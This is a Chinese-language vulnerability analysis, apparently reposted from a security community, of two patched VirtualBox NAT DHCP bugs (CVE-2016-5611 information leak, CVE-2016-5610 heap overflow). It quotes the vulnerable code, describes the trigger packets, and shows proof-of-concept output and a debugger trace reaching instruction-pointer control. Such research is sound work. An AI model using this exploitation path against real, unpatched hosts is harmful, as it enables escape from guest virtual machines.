VirtualBox NAT DHCP / BOOTP服务器漏洞

2019-07-23 约 1044 字 预计阅读 5 分钟

声明:本文 【VirtualBox NAT DHCP / BOOTP服务器漏洞】 由作者 wooy0ung 于 2019-07-23 09:31:00 首发 先知社区 曾经 浏览数 32 次

感谢 wooy0ung 的辛苦付出!

0x001 简介

这是前些年一组VirtualBox的逃逸漏洞。NAT模式下的VirtualBox guest虚拟机(默认网络配置)启用每个VM DHCP服务器,该服务器为guest虚拟机分配IP地址。

renorobert@ubuntuguest:~$ ifconfig enp0s3
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:b8:b7:4c  
          inet addr:10.0.2.15  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:119 errors:0 dropped:0 overruns:0 frame:0
          TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11737 (11.7 KB)  TX bytes:12157 (12.1 KB)

伪造的DHCP服务器在10.0.2.2的IP地址上,发送到此DHCP服务器的数据包将由host机来进行解析

renorobert@ubuntuguest:~$ sudo nmap -sU -p 68 10.0.2.2
. . .
68/udp open|filtered dhcpc
MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)

Oracle在2016年10月期间修复了两个漏洞CVE-2016-5610CVE-2016-5611。该漏洞存在于代码src/Vbox/Devices/Network/slirp/bootp.c中,影响5.0.28、5.1.8之前的VirtualBox版本。
Oracle重要补丁更新公告 - 2016年10月

DHCP数据包在src/Vbox/Devices/Network/slirp/bootp.c中定义如下:

#define DHCP_OPT_LEN            312

/* RFC 2131 */
struct bootp_t
{
    struct ip      ip;                          /**< header: IP header */
    struct udphdr  udp;                         /**< header: UDP header */
    uint8_t        bp_op;                       /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */
    uint8_t        bp_htype;                    /**< hardware type */
    uint8_t        bp_hlen;                     /**< hardware address length */
    uint8_t        bp_hops;                     /**< hop count */
    uint32_t       bp_xid;                      /**< transaction ID */
    uint16_t       bp_secs;                     /**< numnber of seconds */
    uint16_t       bp_flags;                    /**< flags (DHCP_FLAGS_B) */
    struct in_addr bp_ciaddr;                   /**< client IP address */
    struct in_addr bp_yiaddr;                   /**< your IP address */
    struct in_addr bp_siaddr;                   /**< server IP address */
    struct in_addr bp_giaddr;                   /**< gateway IP address */
    uint8_t        bp_hwaddr[16];               /** client hardware address */
    uint8_t        bp_sname[64];                /** server host name */
    uint8_t        bp_file[128];                /** boot filename */
    uint8_t        bp_vend[DHCP_OPT_LEN];       /**< vendor specific info */
};

DHCP服务器维护一个BOOTPClient结构数组(bootp.c),以跟踪所有分配的IP地址。

/** Entry in the table of known DHCP clients. */
typedef struct
{
    uint32_t xid;
    bool allocated;
    uint8_t macaddr[6];
    struct in_addr addr;
    int number;
} BOOTPClient;

/** Number of DHCP clients supported by NAT. */
#define NB_ADDR     16

调用bootp_dhcp_init()在VM初始化期间初始这个数组

int bootp_dhcp_init(PNATState pData)
{
    pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR);
    if (!pData->pbootp_clients)
        return VERR_NO_MEMORY;

    return VINF_SUCCESS;
}

0x002 CVE-2016-5611 dhcp_find_option()中的越界读取漏洞

static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
{
    uint8_t *q = vend;
    uint8_t len;
    . . .
    while(*q != RFC1533_END)          // expects  END tag in an untrusted input 
    {
        if (*q == RFC1533_PAD)
        {
            q++;   // incremented without validation 
            continue;
        }
        if (*q == tag)
            return q;   // returns pointer if tag found
        q++;
        len = *q;    
        q += 1 + len;   // length and pointer not validated
    }
    return NULL;
}

dhcp_find_option()解析guest虚拟机在DHCP数据包中提供的bp_vend字段。但是,缺少正确的验证可能会返回一个在DHCP数据包缓冲区外的指针,或者如果while循环永远不会终止直到访问未映射的地址,则会导致VM崩溃。利用该漏洞,通过发送DHCP拒绝数据包去触发信息泄漏。

bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
bootp.c:412:    req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
bootp.c:413:    server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID);
bootp.c:701:    pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE);
bootp.c:726:        parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST);
bootp.c:773:            pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size)
{
. . .
        case DHCPDECLINE:
            /* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points
             * to Dhcp Option RFC2132_REQ_ADDR
             */
            pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
 . . .
            req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2);
            rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL);
            if (RT_FAILURE(rc))
            {
                . . .
                bc->addr.s_addr = req_ip.s_addr;
                slirp_arp_who_has(pData, bc->addr.s_addr);
                LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip));
            }
            /* no response required */
            break;
. . .

客户端发送DHCPDECLINE消息,表明提供的IP地址已在使用中。此IP地址是bp_vend字段的一部分。服务器调用dhcp_find_option()以获取指向bp_vend字段内的IP地址的指针。这里可以返回DHCP缓冲区外的指针,指向一些垃圾数据作为IP地址。

服务器首先通过调用bootp_cache_lookup_ether_by_ip()来检查IP地址是否已在分配的列表中。如果没有,它进一步调用slirp_arp_who_has来生成ARP请求,其中在DHCP缓冲区外部读取的字节为IP地址。该请求将由guest虚拟机接收,因为它的广播数据包泄漏了一些字节。

要触发此漏洞,需要发送一个DHCPDECLINE数据包,其中bp_vend填充RFC1533_PAD。如果没有崩溃,将触发ARP数据包,如下所示:

renorobert@guest:~$ sudo tcpdump -vv -i eth0 arp
[sudo] password for renorobert:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 45.103.99.109 (Broadcast) tell 10.0.2.2, length 46

45.103.99.109是泄漏的主机进程字节。

0x003 CVE-2016-5610 - dhcp_decode_request()中的堆溢出

static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m)
{
. . .
    /*?? renewing ??*/
    switch (dhcp_stat)
    {
        case RENEWING:
 . . .
               Assert((bp->bp_hlen == ETH_ALEN));
               memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
               bc->addr.s_addr = bp->bp_ciaddr.s_addr;
            }
            break;

        case INIT_REBOOT:
 . . .
            Assert((bp->bp_hlen == ETH_ALEN));
            memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
            bc->addr.s_addr = ui32;
            break;
. . .
}

在解析DHCPREQUEST数据包时,没有验证bp-> bp_hlen字段。断言语句Assert((bp-> bp_hlen == ETH_ALEN))在release版本中不编译,当将bp_hwaddr从伪造的DHCP数据包复制到BOOTPClient结构中的macaddr字段时,会导致堆缓冲区溢出。

p_hlen是一个字节,因此最大值可以是255。但是,BOOTPClient结构数组的大小大于300字节。由于没有关键数据可以破坏,因此在此数组中溢出并不是很有效。为了使这个溢出有效,我们必须到达BOOTPClient结构数组的末尾(pbootp_clients)。

pbootp_clients数组可以存储有关16个客户端请求[0 ... 15]的信息。在VM初始化期间,数组中的第一个元素已使用了访客IP地址。为了将更多客户端请求添加进该数组,guest虚拟机可以发送另外14个具有唯一信息的DHCPREQUEST数据包。处理第15个DHCPREQUEST数据包时,通过将bp_hlen设置为最大值来触发溢出。

由于pbootp_clients是在VM初始化过程中早期分配的,并且溢出限制为最多255个字节,因此相邻缓冲区需要有趣。在Ubuntu 16.04中测试VirtualBox 5.0.26时,相邻的缓冲区是在src/Vbox/Devices/Network/slirp/zone.h中定义的uma_zone结构。

# define ZONE_MAGIC 0xdead0002
struct uma_zone
{
    uint32_t magic;
    PNATState pData; /* to minimize changes in the rest of UMA emulation code */
    RTCRITSECT csZone;
    const char *name;
    size_t size; /* item size */
    ctor_t pfCtor;
    dtor_t pfDtor;
    zinit_t pfInit;
    zfini_t pfFini;
    uma_alloc_t pfAlloc;
    uma_free_t pfFree;
    int max_items;
    int cur_items;
    LIST_HEAD(RT_NOTHING, item) used_items;
    LIST_HEAD(RT_NOTHING, item) free_items;
    uma_zone_t master_zone;
    void *area;
    /** Needs call pfnXmitPending when memory becomes available if @c true.
     * @remarks Only applies to the master zone (master_zone == NULL) */
    bool fDoXmitPending;
};

此结构用于在src/Vbox/Devices/Network/slirp/misc.c中定义的函数。破坏pfCtorpfDtorpfInitpfFinipfAllocpfFree会在NAT线程或每个vCPU EMT线程中拿到RIP控制权。

$ sudo ./poc enp0s3
[sudo] password for renorobert: 
poc: [+] Using interface enp0s3...
poc: [+] Sending DHCP requests...
poc: [+] Current IP address : 10.0.2.15
poc: [+] Requesting IP address : 10.0.2.16
poc: [+] Requesting IP address : 10.0.2.17
poc: [+] Requesting IP address : 10.0.2.18
poc: [+] Requesting IP address : 10.0.2.19
poc: [+] Requesting IP address : 10.0.2.20
poc: [+] Requesting IP address : 10.0.2.21
poc: [+] Requesting IP address : 10.0.2.22
poc: [+] Requesting IP address : 10.0.2.23
poc: [+] Requesting IP address : 10.0.2.24
poc: [+] Requesting IP address : 10.0.2.25
poc: [+] Requesting IP address : 10.0.2.26
poc: [+] Requesting IP address : 10.0.2.27
poc: [+] Requesting IP address : 10.0.2.28
poc: [+] Requesting IP address : 10.0.2.29
poc: [+] Requesting IP address : 10.0.2.30
poc: [+] Overflowing bootp_clients into uma_zone structure…
gdb-peda$ c
Continuing.

Thread 11 "EMT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fd20e4af700 (LWP 27148)]

[----------------------------------registers-----------------------------------]
RAX: 0xfffffe95 
RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RCX: 0x0 
RDX: 0x0 
RSI: 0x42424242 ('BBBB')
RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 
RIP: 0x7fd1df22308e (call   QWORD PTR [rbx+0x70])
R8 : 0x0 
R9 : 0x0 
R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push   rbp)
R11: 0x0 
R12: 0x7fd1f0852080 --> 0x800 
R13: 0x7fd20e4aeb90 --> 0x100000002 
R14: 0x7fd1f05ea340 ('B' , "\b")
R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push   rbp)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fd1df223086: xor    edx,edx
   0x7fd1df223088: mov    esi,DWORD PTR [rbx+0x48]
   0x7fd1df22308b: mov    rdi,rbx
=> 0x7fd1df22308e: call   QWORD PTR [rbx+0x70]
   0x7fd1df223091: test   rax,rax
   0x7fd1df223094: mov    r12,rax
   0x7fd1df223097: je     0x7fd1df2230b5
   0x7fd1df223099: mov    rax,QWORD PTR [rbx+0x50]
Guessed arguments:
arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
arg[1]: 0x42424242 ('BBBB')
arg[2]: 0x0 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 
0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800 
0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff 
0024| 0x7fd20e4aeb68 --> 0x11a 
0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test   rax,rax)
0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0 
0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/VBoxDD.so

gdb-peda$ x/gx $rbx+0x70
0x7fd1f05ea3a0: 0xdeadbeef00000000

以上两个漏洞的POC可以在这里下载virtualbox-nat-dhcp-bugs

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now